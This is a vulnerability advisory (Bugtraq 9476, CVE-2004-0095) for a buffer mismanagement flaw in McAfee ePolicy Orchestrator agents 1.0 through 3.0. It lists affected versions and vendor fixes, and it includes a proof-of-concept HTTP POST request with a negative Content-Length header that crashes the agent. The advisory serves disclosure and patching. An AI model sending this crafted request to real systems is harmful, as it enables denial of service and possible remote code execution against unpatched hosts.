McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability

BID:9476

Info

McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability

Bugtraq ID: 9476
Class: Boundary Condition Error
CVE: CVE-2004-0095
Remote: Yes
Local: No
Published: Jan 22 2004 12:00AM
Updated: Jul 12 2009 02:06AM
Credit: Discovery of this vulnerability has been credited to <[email protected]>.
Vulnerable: McAfee ePolicy Orchestrator 3.0
McAfee ePolicy Orchestrator 2.5.1
McAfee ePolicy Orchestrator 2.5 SP1
McAfee ePolicy Orchestrator 2.5
McAfee ePolicy Orchestrator 2.0
McAfee ePolicy Orchestrator 1.1
McAfee ePolicy Orchestrator 1.0
Not Vulnerable:

Discussion

McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability

The McAfee ePolicy Orchestrator agent has been reported to a buffer management vulnerability that may be exploited to crash the affected agent. Although unconfirmed, it has been reported that the issue may also allow a remote attacker to trigger a buffer overflow vulnerability.

The issue reportedly presents itself, because certain values in HTTP POST headers processed by the ePolicy Orchestrator are not sufficiently sanitized.

Exploit / POC

McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability

The following proof-of-concept has been supplied:

POST /spipe/pkg?AgentGuid={}&amp;Source=Agent_3.0.0 HTTP/1.0
Accept: application/octet-stream
Accept-Language: en-us
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)
Host: KILL_EPO
Content-Length: -1
Connection: Keep-Alive

The following exploit has been provided by Shashank Pandey:

Solution / Fix

McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability

Solution:
The vendor has released fixes.


McAfee ePolicy Orchestrator 1.0

McAfee ePolicy Orchestrator 1.1

McAfee ePolicy Orchestrator 2.0

McAfee ePolicy Orchestrator 2.5 SP1

McAfee ePolicy Orchestrator 2.5

McAfee ePolicy Orchestrator 2.5.1

McAfee ePolicy Orchestrator 3.0

References

McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability

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